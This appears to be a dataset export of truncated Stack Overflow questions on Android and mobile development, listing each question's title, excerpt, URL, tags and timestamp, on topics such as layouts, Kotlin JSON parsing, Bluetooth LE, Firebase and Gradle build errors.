id
stringlengths
7
11
source
stringclasses
1 value
category
stringclasses
11 values
title
stringlengths
15
214
text
stringlengths
70
30.5k
url
stringlengths
57
160
tags
stringlengths
3
113
created_at
int64
1.22B
1.79B
se_44649836
stackoverflow
MOBILE_DEVELOPMENT
Tint VectorDrawable inside Drawable Resource xml
Tint VectorDrawable inside Drawable Resource xml i've had a drawable resource for a selectable Button/ImageView like this: <selector> <item android:state_selected="true"> <layer-list> <item> <shape android:shape="oval"> <solid android:color="@color/blue"/> </shape> ...
https://stackoverflow.com/questions/44649836/tint-vectordrawable-inside-drawable-resource-xml
android, android-resources, tint, android-vectordrawable
1,497,952,652
se_19345705
stackoverflow
MOBILE_DEVELOPMENT
Key listener in Service
Key listener in Service I am new to android and I extensively searched for this. Any help would be much appreciated:) I have a requirement for an application which does the following: An application that runs in the background as a service that listens to the volume key(UP/Down). On this event an activity will be dis...
https://stackoverflow.com/questions/19345705/key-listener-in-service
android, service, background, volume, keylistener
1,381,670,246
se_24416554
stackoverflow
MOBILE_DEVELOPMENT
Fullscreen WebView when landscape?
Fullscreen WebView when landscape? I'm trying to build an app with a webview which should go fullscreen when the orientation changes to landscape. I did the way with layout-land and main.xml where I just gave the WebView fill_parent and it was over all the other views. The problem with that was, that the WebView was l...
https://stackoverflow.com/questions/24416554/fullscreen-webview-when-landscape
java, android, xml, webview
1,403,723,004
se_79135838
stackoverflow
MOBILE_DEVELOPMENT
Android Automotive has no audio in Cuttlefish AVD
Android Automotive has no audio in Cuttlefish AVD I am running an Android Automotive instance on AWS Graviton using AWS CloudFormation. I noticed that there is no sound no matter what I do. Looking at logcat, I see this: 10-29 04:25:28.328 7171 7171 D CAR.AUDIO.KS: Starting device address audio 10-29 04:25:28.328 7...
https://stackoverflow.com/questions/79135838/android-automotive-has-no-audio-in-cuttlefish-avd
android, android-source, selinux, android-automotive, aaos
1,730,176,228
se_22072691
stackoverflow
MOBILE_DEVELOPMENT
Application ID&#39;s for existing NFC reader infrastructure
Application ID&#39;s for existing NFC reader infrastructure I read through the Android docs which say that the application IDs (AIDs) for existing NFC reader infrastructures like for VISA and MASTERCARD are publicly known and registered, but I could not find them anywhere on the web. If anyone has found them, can you...
https://stackoverflow.com/questions/22072691/application-ids-for-existing-nfc-reader-infrastructure
android, nfc, contactless-smartcard, emv
1,393,514,223
se_79600434
stackoverflow
MOBILE_DEVELOPMENT
Android - Back Button behavior difference between API 35 and API 36
Android - Back Button behavior difference between API 35 and API 36 I have a very simple piece of code in an app that has been running fine for YEARS. I am updating to API 36 using Android Studio. I tested in a virtual Pixel 9 API 36 today and noticed that the BACK button behavior seems different from API 35 and earl...
https://stackoverflow.com/questions/79600434/android-back-button-behavior-difference-between-api-35-and-api-36
android, android-api-levels
1,746,020,406
se_48761390
stackoverflow
MOBILE_DEVELOPMENT
How to parse JSON in Kotlin
How to parse JSON in Kotlin How can I parse JSON in Kotlin? It gets the entire array from JSON but can not get a particular object from the Array. It worked in Java but not in Kotlin. try { val jsonObject = JSONObject(result) val users = jsonObject.getJSONArray("Users") for (i in 0 until users.length())...
https://stackoverflow.com/questions/48761390/how-to-parse-json-in-kotlin
android, json, parsing, kotlin
1,518,506,291
se_79946586
stackoverflow
MOBILE_DEVELOPMENT
Broken session_start in Firebase for Android
Broken session_start in Firebase for Android I've got a random issue in my Android application where in most Firebase crash logs I have an obscene amount of session_start events coming out of nowhere. I've never seen this on my other projects, and it started randomly. I can't really get my head around why there are so...
https://stackoverflow.com/questions/79946586/broken-session-start-in-firebase-for-android
android, firebase, kotlin, google-analytics, crashlytics
1,779,770,997
se_49814755
stackoverflow
MOBILE_DEVELOPMENT
Denial permission OPPO_COMPONENT_SAFE
Denial permission OPPO_COMPONENT_SAFE I have service in my app which needs to be running in background in device OPPO. I have read somewhere that we need to enable auto start in settings for app to keep service running but I have a problem with permission. java.lang.SecurityException: Permission Denial: starting Inte...
https://stackoverflow.com/questions/49814755/denial-permission-oppo-component-safe
java, android, exception, permissions, oppo
1,523,614,913
se_79986024
stackoverflow
MOBILE_DEVELOPMENT
How to replace Handler() based code with lifecycle based code
How to replace Handler() based code with lifecycle based code I have been searching how to replace the Handler() based code I got from https://developer.android.com/develop/connectivity/bluetooth/ble/find-ble-devices#kotlin with a lifecycle based version, but all of the code I have found is all about views, there is n...
https://stackoverflow.com/questions/79986024/how-to-replace-handler-based-code-with-lifecycle-based-code
android, kotlin, timeout, android-lifecycle
1,785,068,108
se_31056095
stackoverflow
MOBILE_DEVELOPMENT
MPAndroidChart: Combined Chart
MPAndroidChart: Combined Chart I am using MPAndroidChart library. I wanted to use the CombinedChart to create a Chart like that: Is that possible? I tried it out but it doesnt seem to work because the entries arent working as i expected. You cant say an entry has value 2 on the x-axis and value 300 on the y-axis. ...
https://stackoverflow.com/questions/31056095/mpandroidchart-combined-chart
android, mpandroidchart
1,435,250,527
se_71045322
stackoverflow
MOBILE_DEVELOPMENT
How to handle Espresso idling resources in Jetpack Compose?
How to handle Espresso idling resources in Jetpack Compose? I am writing UI test cases using JUnit, and Espresso in Jetpack Compose. My screen consists of Lottie animations and some piece of code of Kotlin Coroutines. I am writing a single test case to check the visibility of a button on that screen, but it is giving ...
https://stackoverflow.com/questions/71045322/how-to-handle-espresso-idling-resources-in-jetpack-compose
android, android-jetpack-compose, android-espresso, gui-testing
1,644,390,717
se_25724444
stackoverflow
MOBILE_DEVELOPMENT
How can I see a long layout in preview in Android Studio?
How can I see a long layout in preview in Android Studio? I have a long screen, and I set ScrollView, but in the Preview screen in Android Studio, I do not see part of the Screen. How can I see it? That is for a preview and layout, as seen/illustrated in the picture I have provided above. It is an illustration, which...
https://stackoverflow.com/questions/25724444/how-can-i-see-a-long-layout-in-preview-in-android-studio
android, android-studio
1,410,179,811
se_72919614
stackoverflow
MOBILE_DEVELOPMENT
Share Image from Xiaomi gallery app has problem
Share Image from Xiaomi gallery app has problem I want to share images from MIUI gallery app to my app but received intent has data=null and uri=content://com.miui.gallery.open/raw/%2Fstorage%2Femulated%2F0%2FAndroid%2Fdata%2Fcom.miui.gallery%2Fcache%2FSecurityShare%2F1657350098978.jpg Then i use Cursor to get file pa...
https://stackoverflow.com/questions/72919614/share-image-from-xiaomi-gallery-app-has-problem
android, image, uri, xiaomi, miui
1,657,350,748
se_42601409
stackoverflow
MOBILE_DEVELOPMENT
How can I add an event to the Google Calendar API in Android Studio?
How can I add an event to the Google Calendar API in Android Studio? I'm developing an app in my spare time and one of the elements requires a user to be able to create an event within the app but I want the event to be created and synced with the google calendar. I have followed the quickstart guide but that only sh...
https://stackoverflow.com/questions/42601409/how-can-i-add-an-event-to-the-google-calendar-api-in-android-studio
android, calendar, google-api, google-calendar-api, android-calendar
1,488,661,526
se_13015178
stackoverflow
MOBILE_DEVELOPMENT
How do you force an embedded audio file to autostart on an Android Tablet?
How do you force an embedded audio file to autostart on an Android Tablet? I have a Nabi (Android Tablet), and I am designing a website and I have an audio file that I want to play when the audio file is on the page. On the Nabi, it shows up, but I have to press play. It doesn't just start. Here's the code: <embed s...
https://stackoverflow.com/questions/13015178/how-do-you-force-an-embedded-audio-file-to-autostart-on-an-android-tablet
android, html, audio, html5-audio
1,350,921,489
se_59241072
stackoverflow
MOBILE_DEVELOPMENT
How apk mod spoof PackageManager?
How apk mod spoof PackageManager? I created an app, and this app is everytime modded to get the feature of pro version. I spend already many hours trying to block these "hacks", for exemple checking if the app is been installed from "com.android.vending" or check the signature to be sure of the integrity and other che...
https://stackoverflow.com/questions/59241072/how-apk-mod-spoof-packagemanager
android
1,575,850,196
se_79984318
stackoverflow
MOBILE_DEVELOPMENT
USE_FULL_SCREEN_INTENT / SYSTEM_ALERT_WINDOW not triggering background screen launch for secondary package installed from Play Store
USE_FULL_SCREEN_INTENT / SYSTEM_ALERT_WINDOW not triggering background screen launch for secondary package installed from Play Store Hi everyone, I have two separate apps (different Package Names) that utilize background full-screen triggers / overlays (similar to an alarm clock app using USE_FULL_SCREEN_INTENT or SYS...
https://stackoverflow.com/questions/79984318/use-full-screen-intent-system-alert-window-not-triggering-background-screen-la
c#, android
1,784,832,075
se_32661221
stackoverflow
MOBILE_DEVELOPMENT
android - cursor didn&#39;t have _data column not found
android - cursor didn&#39;t have _data column not found When run below code to query a file on sdcard, I always get a null. public String getRealPathFromURI(Context context, Uri uri) { String fileName="unknown"; if (uri.getScheme().toString().compareTo("content") == 0) { Cursor cursor = context.ge...
https://stackoverflow.com/questions/32661221/android-cursor-didnt-have-data-column-not-found
android, android-contentprovider
1,442,611,318
se_69783858
stackoverflow
MOBILE_DEVELOPMENT
&quot;AppendTo&quot; href doesn&#39;t work in Android Chrome?
&quot;AppendTo&quot; href doesn&#39;t work in Android Chrome? I have this code: jQuery(document).ready(function( $ ){ var magyar = $(".lang-item-hu a").attr("href"); $("#magyar").attr("href", magyar); var angol = $(".lang-item-en a").attr("href"); $("#angol").attr("href", angol); }); on my site. It works well...
https://stackoverflow.com/questions/69783858/appendto-href-doesnt-work-in-android-chrome
android, jquery, wordpress, google-chrome, append
1,635,653,107
se_23330440
stackoverflow
MOBILE_DEVELOPMENT
Android Camera startPreview failed
Android Camera startPreview failed I am working on an Android app which needs a camera view in half of the app screen.I was able to do it successfully for an Android 4.0 device but it crashes when I try to run it on my Nexus One,although the minSDK version has been set to 2.2.Here's my camera preview class. package c...
https://stackoverflow.com/questions/23330440/android-camera-startpreview-failed
android, android-camera
1,398,642,531
se_28929796
stackoverflow
MOBILE_DEVELOPMENT
How open directory in android programmatically
How open directory in android programmatically in my app i have list of files that shows in ListActivity now i want add extra option like windows :(Open folder location) to open directory off this file i test some code but not work throw exception: File file=new File(path); Uri url = Uri.fromFile(file); ...
https://stackoverflow.com/questions/28929796/how-open-directory-in-android-programmatically
android, android-intent
1,425,836,921
se_2907335
stackoverflow
MOBILE_DEVELOPMENT
Android: disabling highlight on listView click
Android: disabling highlight on listView click I want to disable the orange highlight that occurs when touching a listView row. So far in my xml I have tried the following: android:focusable="false" android:focusableInTouchMode="false" android:clickable="false" More information: I want there to be zero difference w...
https://stackoverflow.com/questions/2907335/android-disabling-highlight-on-listview-click
android, android-listview, highlighting
1,274,811,638
se_79985932
stackoverflow
MOBILE_DEVELOPMENT
Error from lintReportDebug: Error: Call requires permission which may be rejected by user:
Error from lintReportDebug: Error: Call requires permission which may be rejected by user: I copy-pasted some code from the Find BLE devices documentation, but I am getting this error: /home/heller/DeliveryBox/MobileApp/DeliveryBox_Android/app/src/main/java/com/deepsoft/deliverybox/BluetoothManager.kt:55: Error: Call ...
https://stackoverflow.com/questions/79985932/error-from-lintreportdebug-error-call-requires-permission-which-may-be-rejecte
android, kotlin, bluetooth-lowenergy
1,785,020,574
se_79981638
stackoverflow
MOBILE_DEVELOPMENT
Why does my function say that my AlarmManager Alarm still exists?
Why does my function say that my AlarmManager Alarm still exists? I'm building a "Cancel alarm" button, and a "check alarm" button. The "Cancel Alarm" button works. I am sure of it. but when I press the "Check Alarm" button, it still return true. Some context: I want `true` to mean "Your alarm still exists, and WILL f...
https://stackoverflow.com/questions/79981638/why-does-my-function-say-that-my-alarmmanager-alarm-still-exists
android, kotlin
1,784,300,376
se_35283959
stackoverflow
MOBILE_DEVELOPMENT
Build and Install unsigned apk on device without the development server?
Build and Install unsigned apk on device without the development server? As I am new in react-native so if there is anything wrong in steps let me know. I have build a react native android app using the command as per documentation react-native android while running on device the following command was used ...
https://stackoverflow.com/questions/35283959/build-and-install-unsigned-apk-on-device-without-the-development-server
android, apk, react-native
1,454,992,417
se_50738174
stackoverflow
MOBILE_DEVELOPMENT
Android: Add new buildType - Unable to find a matching configuration of project
Android: Add new buildType - Unable to find a matching configuration of project Android Studio 3.1, Gradle 4.4 My project hierarchy -app -common build.gradle common is a android lib for my project. As result in settings.gradle: include ':app', ':common' Here my app/build.gradle buildTypes { rel...
https://stackoverflow.com/questions/50738174/android-add-new-buildtype-unable-to-find-a-matching-configuration-of-project
android, android-gradle-plugin
1,528,364,946
se_3437532
stackoverflow
MOBILE_DEVELOPMENT
Whats are the ten most deadly permissions?
Whats are the ten most deadly permissions? I would like to know what would be the top ten most deadly permissions that can be requested by an android. I know it might be a matter of opinion, but supposing that I had the 10 permission listed in by an application, I would definitely know my application did not generate ...
https://stackoverflow.com/questions/3437532/whats-are-the-ten-most-deadly-permissions
android, permissions
1,281,331,697
se_13499721
stackoverflow
MOBILE_DEVELOPMENT
Can I use android app to track user activities?
Can I use android app to track user activities? I wish to know is it possible to write an android app that when it runs at the background, it can track user activities?(Such as what other app did the user used, what phone number did user dial, the GPS location for user, etc) Cause I am not sure can a single android ap...
https://stackoverflow.com/questions/13499721/can-i-use-android-app-to-track-user-activities
android
1,353,522,455
se_67792771
stackoverflow
MOBILE_DEVELOPMENT
How does Playit app prevent videos from playing in other media players? What technology does it use
How does Playit app prevent videos from playing in other media players? What technology does it use There is a website pdisk.net and whatever the video we upload from our computer to the site and share the link to view it, the videos open only in Playit android app. Only first 15 seconds can be viewed after that a scr...
https://stackoverflow.com/questions/67792771/how-does-playit-app-prevent-videos-from-playing-in-other-media-players-what-tec
android, video-streaming, playback
1,622,565,465
se_22350327
stackoverflow
MOBILE_DEVELOPMENT
How to display a custom Dialog box at a specific position?
How to display a custom Dialog box at a specific position? I have a Button whose click pops up a dialog box.The dialog box is getting displayed at center.But i want to display it just below the button.How to do this ? I tried using popup window also.Here is the code private void showPopup(final Activity context, Poi...
https://stackoverflow.com/questions/22350327/how-to-display-a-custom-dialog-box-at-a-specific-position
android, popupwindow, dialog
1,394,624,329
se_79985657
stackoverflow
MOBILE_DEVELOPMENT
.NET MAUI build fails with &quot;error AMM0000&quot; manifest merger errors after adding Google Play Billing
.NET MAUI build fails with &quot;error AMM0000&quot; manifest merger errors after adding Google Play Billing I'm adding in-app subscriptions to a .NET MAUI app (Android/iOS, .NET 8/10). As soon as I add a package that pulls in Google Play Billing — a RevenueCat community wrapper in my case, but the same happens with P...
https://stackoverflow.com/questions/79985657/net-maui-build-fails-with-error-amm0000-manifest-merger-errors-after-adding-g
android, maui, google-play-billing
1,784,923,384
se_2981515
stackoverflow
MOBILE_DEVELOPMENT
Android VideoView resume and seekTo
Android VideoView resume and seekTo I am playing a Video using a VideoView in my app. On the click of a button, it records the current position of the video, and the app opens up the browser with some url. On pressing the back button, the app comes back to video app and resumes the video from where it left off. I loo...
https://stackoverflow.com/questions/2981515/android-videoview-resume-and-seekto
android, resume, seek, android-videoview
1,275,762,066
se_78230935
stackoverflow
MOBILE_DEVELOPMENT
How to Develop a FIDO2 Authenticator Android App
How to Develop a FIDO2 Authenticator Android App I'm planning to develop a my own FIDO2 authenticator android app instead of what Google PM provides (similar to IDmelon). For example when webauthm.io website is visited and clicked on register the browser generates a QR Code. My app should scan the QR Code and use CTAP...
https://stackoverflow.com/questions/78230935/how-to-develop-a-fido2-authenticator-android-app
android, webauthn, fido
1,711,535,032
se_17898382
stackoverflow
MOBILE_DEVELOPMENT
audioManager.getStreamVolume(AudioManager.STREAM_MUSIC) returns 0
audioManager.getStreamVolume(AudioManager.STREAM_MUSIC) returns 0 I am making an Speaking caller name application which pause the ringtone before speaking the caller name using TextToSpeech. I am detecting the current Volume using int musicVolume = audioManager.getStreamVolume(AudioManager.STREAM_MUSIC); Mostly th...
https://stackoverflow.com/questions/17898382/audiomanager-getstreamvolumeaudiomanager-stream-music-returns-0
android, ringtone, android-audiomanager
1,374,932,027
se_79980542
stackoverflow
MOBILE_DEVELOPMENT
FCM v1 fid (Firebase Installation ID) target returns 404 UNREGISTERED on iOS, while the full registration token delivers
FCM v1 fid (Firebase Installation ID) target returns 404 UNREGISTERED on iOS, while the full registration token delivers The Firebase Admin SDK (Python 7.5.0) recently added a fid send target and deprecated token (see docs: https://firebase.google.com/docs/cloud-messaging/send/admin-sdk#send-messages-to-specific-devic...
https://stackoverflow.com/questions/79980542/fcm-v1-fid-firebase-installation-id-target-returns-404-unregistered-on-ios-wh
android, ios, firebase, firebase-cloud-messaging
1,784,009,560
se_26421590
stackoverflow
MOBILE_DEVELOPMENT
Android infinite Scroll List view
Android infinite Scroll List view I want to implement OnScrollListener to load more data, when scrolled to bottom, dynamically. Following code is giving me NullPointerException, but when I declare BusinessListDataAdapter adapter = new BusinessListDataAdapter(this, this.imgFetcher, this.layoutInflator,...
https://stackoverflow.com/questions/26421590/android-infinite-scroll-list-view
android, infinite-scroll, custom-adapter, onscrolllistener
1,413,536,797
se_79906149
stackoverflow
MOBILE_DEVELOPMENT
Android-Retrofit: getting escaped double-quoted JSON
Android-Retrofit: getting escaped double-quoted JSON I'm having problems receiving a JSON response from a REST endpoint using Retrofit. Some of the requests return JSON with a bunch of null characters and escaped double quotes. Pasted from Android Studio's network inspector: "{\"type\": \"FeatureCollection\", \"maxSpe...
https://stackoverflow.com/questions/79906149/android-retrofit-getting-escaped-double-quoted-json
android, json, retrofit, retrofit2, okhttp
1,773,317,156
se_32262829
stackoverflow
MOBILE_DEVELOPMENT
How to upload file using Volley library in android?
How to upload file using Volley library in android? I already have a sub class of Request<JSONObject> that is used for http post to the server. The problem is, I have no idea on how can I add a parameter for a file. Posting string to the server is easy. but I need to add file as a different parameter. How can I do it?...
https://stackoverflow.com/questions/32262829/how-to-upload-file-using-volley-library-in-android
android, file, http-post, httprequest, android-volley
1,440,732,099
se_10361541
stackoverflow
MOBILE_DEVELOPMENT
How to create a live scorer app for Android?
How to create a live scorer app for Android? I am developing an android app where I will provide a button on which, when ever the user clicks, they will get the live score updates of the Soccer game. Are there any tutorials for that or, any Open-source code available for that I am trying to achieve some what like th...
https://stackoverflow.com/questions/10361541/how-to-create-a-live-scorer-app-for-android
android, live
1,335,598,229
se_11588209
stackoverflow
MOBILE_DEVELOPMENT
&quot;no view found for id for fragment&quot; error before onCreateView() called
&quot;no view found for id for fragment&quot; error before onCreateView() called This is related to several posts, but I don't see anything that explains the order of view creation in the view hierarchy (static - xml and dynamic - in code). I have a FragmentActivity hosting an Activity and a Fragment. I'm getting a ...
https://stackoverflow.com/questions/11588209/no-view-found-for-id-for-fragment-error-before-oncreateview-called
android, view, fragment, illegalargumentexception, android-fragmentactivity
1,342,827,266
se_79984261
stackoverflow
MOBILE_DEVELOPMENT
Best approach for timeline preview in a video editor using Media3 CompositionPlayer
Best approach for timeline preview in a video editor using Media3 CompositionPlayer I am building an Android video editor with a timeline similar to CapCut. A project can contain: - Multiple video clips - Multiple audio tracks playing in parallel - Text overlays - Image overlays The goal is to provide a smooth, real-t...
https://stackoverflow.com/questions/79984261/best-approach-for-timeline-preview-in-a-video-editor-using-media3-compositionpla
android, android-media3
1,784,820,617
se_31080292
stackoverflow
MOBILE_DEVELOPMENT
Handle GCM notification Android
Handle GCM notification Android I am developing an app which receives GCM notifications to alert the user about promotions and stuff like that. So far I have managed to send and receive notifications. Here is my code: public class GcmBroadcastReceiver extends WakefulBroadcastReceiver { @Override public...
https://stackoverflow.com/questions/31080292/handle-gcm-notification-android
android, android-intent, notifications, google-cloud-messaging, android-notifications
1,435,344,962
se_44430388
stackoverflow
MOBILE_DEVELOPMENT
IONIC 3 [ERROR] An error occurred while running cordova run android (exit code 1)
IONIC 3 [ERROR] An error occurred while running cordova run android (exit code 1) i start for ionic 3, but i try to run command 'ionic cordova run android', i was try any way for solve this problem but i cannot found answer from this problem, i got error like this : this result error [13:29:45] preprocess started ....
https://stackoverflow.com/questions/44430388/ionic-3-error-an-error-occurred-while-running-cordova-run-android-exit-code-1
android, angular, cordova, ionic3
1,496,910,179
se_24055842
stackoverflow
MOBILE_DEVELOPMENT
Automatic touch on android device(sending touch impulses)
Automatic touch on android device(sending touch impulses) I want to know if it is possible to generate automatic touch at regular intervals of time, say 5 seconds in another application. For example..I want to develop an application which will create a touch response just as we touch the screen, at a particular coordi...
https://stackoverflow.com/questions/24055842/automatic-touch-on-android-devicesending-touch-impulses
android, touch-event, ontouchlistener
1,401,958,744
se_79831083
stackoverflow
MOBILE_DEVELOPMENT
Chrome PWA no longer calculating dvh properly on initial load
Chrome PWA no longer calculating dvh properly on initial load I have a PWA with "display": "standalone" set in my manifest. The app uses body { height: 100dvh } to fill the entire space of the visible viewport. This has been working for nearly two years (since originally discovering this solution). Recently however, ...
https://stackoverflow.com/questions/79831083/chrome-pwa-no-longer-calculating-dvh-properly-on-initial-load
android, google-chrome, progressive-web-apps, chromium
1,764,184,250
se_79597695
stackoverflow
MOBILE_DEVELOPMENT
The USB transfer prompt doesn’t appear on Samsung Galaxy Active5 tab kiosk mode when connected to PC
The USB transfer prompt doesn’t appear on Samsung Galaxy Active5 tab kiosk mode when connected to PC We're developing an Android app with core USB communication features, published in kiosk mode via Android Management API (MDM). We've configured the policy to allow USB data transfer using: "deviceConnectivityManagemen...
https://stackoverflow.com/questions/79597695/the-usb-transfer-prompt-doesn-t-appear-on-samsung-galaxy-active5-tab-kiosk-mode
android, kiosk-mode, file-storage
1,745,906,610
se_79851234
stackoverflow
MOBILE_DEVELOPMENT
Android Custom Deep Link Bug
Android Custom Deep Link Bug I need help solving a problem my team is running into with our DeepLink solution on Android platform. We deprecated Firebase dynamic links last year, and replaced it with Android AppLinks + our own custom DeepLink backend; we host our /well-known/ folder with apple app site association and...
https://stackoverflow.com/questions/79851234/android-custom-deep-link-bug
android, google-play, deep-linking
1,766,159,112
se_79984093
stackoverflow
MOBILE_DEVELOPMENT
Install-expo-modules@latest cannot find a compatible Expo SDK for React Native 0.86.0
Install-expo-modules@latest cannot find a compatible Expo SDK for React Native 0.86.0 Problem I am using a React Native CLI project. When I run: npx install-expo-modules@latest npx installs install-expo-modules@0.16.0, but the command fails with the following error: Uncaught Error Error: Unable to find compatible Exp...
https://stackoverflow.com/questions/79984093/install-expo-moduleslatest-cannot-find-a-compatible-expo-sdk-for-react-native-0
android, mobile, expo, react-native-cli
1,784,791,806
se_77217468
stackoverflow
MOBILE_DEVELOPMENT
Open Android App through QRCode generated from a Deep link and using Camera App
Open Android App through QRCode generated from a Deep link and using Camera App Is it possible to open our app with the camera app by reading a QRCode generated with a deep link? I have the AndroidManifest.xml configured to open a custom scheme and I am able to open a specific screen with the deep link URI. Lets say: ...
https://stackoverflow.com/questions/77217468/open-android-app-through-qrcode-generated-from-a-deep-link-and-using-camera-app
android
1,696,268,575
se_51133951
stackoverflow
MOBILE_DEVELOPMENT
Manifest merger failed with multiple errors, see logs (unity3d, Android Studio 3.2)
Manifest merger failed with multiple errors, see logs (unity3d, Android Studio 3.2) I am trying to add unity3d module as an on demand dynamic delivery module in a native android app. I am getting 'Manifest merger failed with multiple errors' problem while I am trying to build the project.Below I have given code for tw...
https://stackoverflow.com/questions/51133951/manifest-merger-failed-with-multiple-errors-see-logs-unity3d-android-studio-3
android, unity-game-engine, merge, android-manifest, manifest
1,530,526,911
se_17607173
stackoverflow
MOBILE_DEVELOPMENT
Change android EditText style from rectangular border to underscore
Change android EditText style from rectangular border to underscore In one of my activities, my EditText views used to look like this But now they looks like this I need help changing it back: from the rectangle to the underscore. BACKGROUND Because I needed to create a custom ActionBar, I had to change the th...
https://stackoverflow.com/questions/17607173/change-android-edittext-style-from-rectangular-border-to-underscore
android, android-layout, android-actionbar, android-theme
1,373,600,836
se_79984368
stackoverflow
MOBILE_DEVELOPMENT
New Android project in Intellij 2026 is missing ic_launcher_foreground.xml
New Android project in Intellij 2026 is missing ic_launcher_foreground.xml I noticed that new Android projects are missing image assets and they're no longer able to be pulled from the new asset option.
https://stackoverflow.com/questions/79984368/new-android-project-in-intellij-2026-is-missing-ic-launcher-foreground-xml
android, intellij-idea
1,784,846,791
se_22318068
stackoverflow
MOBILE_DEVELOPMENT
View holder OnClickListener event issue
View holder OnClickListener event issue I am creating a listview adapter with view holder : final ViewHolder holder; if (convertView == null) { convertView = layoutInflater.inflate(R.layout.activity_list_layout, null); holder = new ViewHolder(); //Layout Code here convertView.setTag(holder); } els...
https://stackoverflow.com/questions/22318068/view-holder-onclicklistener-event-issue
android, listview, android-listview, android-adapter
1,394,519,383
se_21435998
stackoverflow
MOBILE_DEVELOPMENT
Android: Read APN using ADB shell
Android: Read APN using ADB shell According to this post, manually-entered APNs are contained here: /data/data/com.android.settings/shared_prefs/com.android.settings_preferences.x­ml However, this file can't be accessed using adb shell cat or adb pull. Is there any workaround for a non-rooted device?
https://stackoverflow.com/questions/21435998/android-read-apn-using-adb-shell
android, shell, adb, apn
1,391,010,749
se_77437934
stackoverflow
MOBILE_DEVELOPMENT
Enabling Text Selection in Compose LazyColumn by selection container
Enabling Text Selection in Compose LazyColumn by selection container I previously used a WebView to display a long text and style each word based on some business logic. However, I recently transformed this HTML content into a list of sentences and utilized a LazyColumn to present it in my Compose application. One of ...
https://stackoverflow.com/questions/77437934/enabling-text-selection-in-compose-lazycolumn-by-selection-container
android, android-jetpack-compose, textselection, lazycolumn, android-jetpack-compose-lazy-column
1,699,357,297
se_79984176
stackoverflow
MOBILE_DEVELOPMENT
How to show a FlutterActivity above Android lock screen with visible video playback?
How to show a FlutterActivity above Android lock screen with visible video playback? I have a Flutter Android app and I need to show a video screen above the Android lock screen. The app is a Flutter project. The main screen is a FlutterActivity, and video playback inside Flutter works normally when the app is open. M...
https://stackoverflow.com/questions/79984176/how-to-show-a-flutteractivity-above-android-lock-screen-with-visible-video-playb
android, flutter, video, android-activity, media-player
1,784,807,394
se_17500959
stackoverflow
MOBILE_DEVELOPMENT
Broadcast receiver push notification
Broadcast receiver push notification I have implemented push notification in my android application: In my main class: // PUSH Parse.initialize(this, applicationId, clientKey); PushService.setDefaultPushCallback(this, SlidingMenuActivity.class); ParseInstallation.getCurrentInstallation().saveInBackground(); ParseAn...
https://stackoverflow.com/questions/17500959/broadcast-receiver-push-notification
android, push-notification, broadcastreceiver, android-notifications, android-broadcast
1,373,097,444
se_43519176
stackoverflow
MOBILE_DEVELOPMENT
When apply onBackPressed in Fragment which extends dialog Fragment
When apply onBackPressed in Fragment which extends dialog Fragment I want to implement onBackPressed in fragment which extends a DialogFragment. But when overriding it gives an error that "method does not override its superclass". How to implement it? See here for a chunk of the code. See here for backpressed code
https://stackoverflow.com/questions/43519176/when-apply-onbackpressed-in-fragment-which-extends-dialog-fragment
android, fragment, dialogfragment, onbackpressed
1,492,690,348
se_79984148
stackoverflow
MOBILE_DEVELOPMENT
Cuttlefish AAOS: zero sound reaches host/browser even from stock apps
Cuttlefish AAOS: zero sound reaches host/browser even from stock apps Running a Cuttlefish Android Automotive OS instance (launch_cvd --enable_audio=true --start_webrtc_sig_server=true ...), accessed via the WebRTC web client. Mic input works fine after enabling the sidebar mic toggle in the WebRTC client. Audio out...
https://stackoverflow.com/questions/79984148/cuttlefish-aaos-zero-sound-reaches-host-browser-even-from-stock-apps
android, android-automotive, aaos, cuttlefish
1,784,802,012
se_79983896
stackoverflow
MOBILE_DEVELOPMENT
firebase_ai Flutter plugin fails with &quot;Cannot query the value of this provider because it has no value available&quot; on Gradle 9.1.0
firebase_ai Flutter plugin fails with &quot;Cannot query the value of this provider because it has no value available&quot; on Gradle 9.1.0 I'm getting a build failure specifically in the firebase_ai plugin's Android build task when running flutter run / flutter build apk. Other Firebase plugins in the same project (f...
https://stackoverflow.com/questions/79983896/firebase-ai-flutter-plugin-fails-with-cannot-query-the-value-of-this-provider-b
android, flutter, firebase, gradle, firebase-ai-logic
1,784,732,631
se_57678087
stackoverflow
MOBILE_DEVELOPMENT
How can I wait for Mobile element
How can I wait for Mobile element I would like to wait for MobilElement, not sure what is the correct way. Using Appium, Selenium and Java to create some automation tests, but running all using emulator and sometimes I need to wait little bit for element, I would like to use something what I use in webElement. Reaso...
https://stackoverflow.com/questions/57678087/how-can-i-wait-for-mobile-element
android, appium, driver
1,566,920,121
se_7759437
stackoverflow
MOBILE_DEVELOPMENT
CSS &quot;float:right&quot; property equivalent in LinearLayout on android?
CSS &quot;float:right&quot; property equivalent in LinearLayout on android? On CSS we can write : <div style="float:right"> Text1 </div> <div style="float:right"> Text2 </div> by this way Text1 will appear on the right .. I'm trying to do the same with LinearLayout , the View should appear from right to left : <...
https://stackoverflow.com/questions/7759437/css-floatright-property-equivalent-in-linearlayout-on-android
android, css-float, android-linearlayout
1,318,534,155
se_23995389
stackoverflow
MOBILE_DEVELOPMENT
How Long Does It Take For A Google Maps API Key To Become Active?
How Long Does It Take For A Google Maps API Key To Become Active? How long does it take for a new Google Maps API key take to become active? I have just added a new key and a new package to an existing key, but neither seem to work. Is it an issue with the key getting activated?
https://stackoverflow.com/questions/23995389/how-long-does-it-take-for-a-google-maps-api-key-to-become-active
android, google-maps, google-maps-android-api-2
1,401,714,727
se_79983960
stackoverflow
MOBILE_DEVELOPMENT
What is a reliable way to get file descriptor in android to pass it to native code
What is a reliable way to get file descriptor in android to pass it to native code I want to read some files in native code with file descriptors. I get FileDescriptor using the getFD() method on FileInputStream but I discovered that I can't just fetch the fd field in JNI because of this. They changed the fd field to...
https://stackoverflow.com/questions/79983960/what-is-a-reliable-way-to-get-file-descriptor-in-android-to-pass-it-to-native-co
java, android, file-descriptor
1,784,747,490
se_51384660
stackoverflow
MOBILE_DEVELOPMENT
How can I create a sticker pack for Android like I have in iOS for iMessage?
How can I create a sticker pack for Android like I have in iOS for iMessage? In Xcode (for iOS devices), I can simply click on a button that says "new sticker pack app," and (magic!) there it is, no coding necessary. I just add images to it and upload it to the app store. Super simple! Android now allows for stickers...
https://stackoverflow.com/questions/51384660/how-can-i-create-a-sticker-pack-for-android-like-i-have-in-ios-for-imessage
android, firebase, android-studio, gboard
1,531,839,684
se_35959976
stackoverflow
MOBILE_DEVELOPMENT
ListView not showing up / appearing android studio
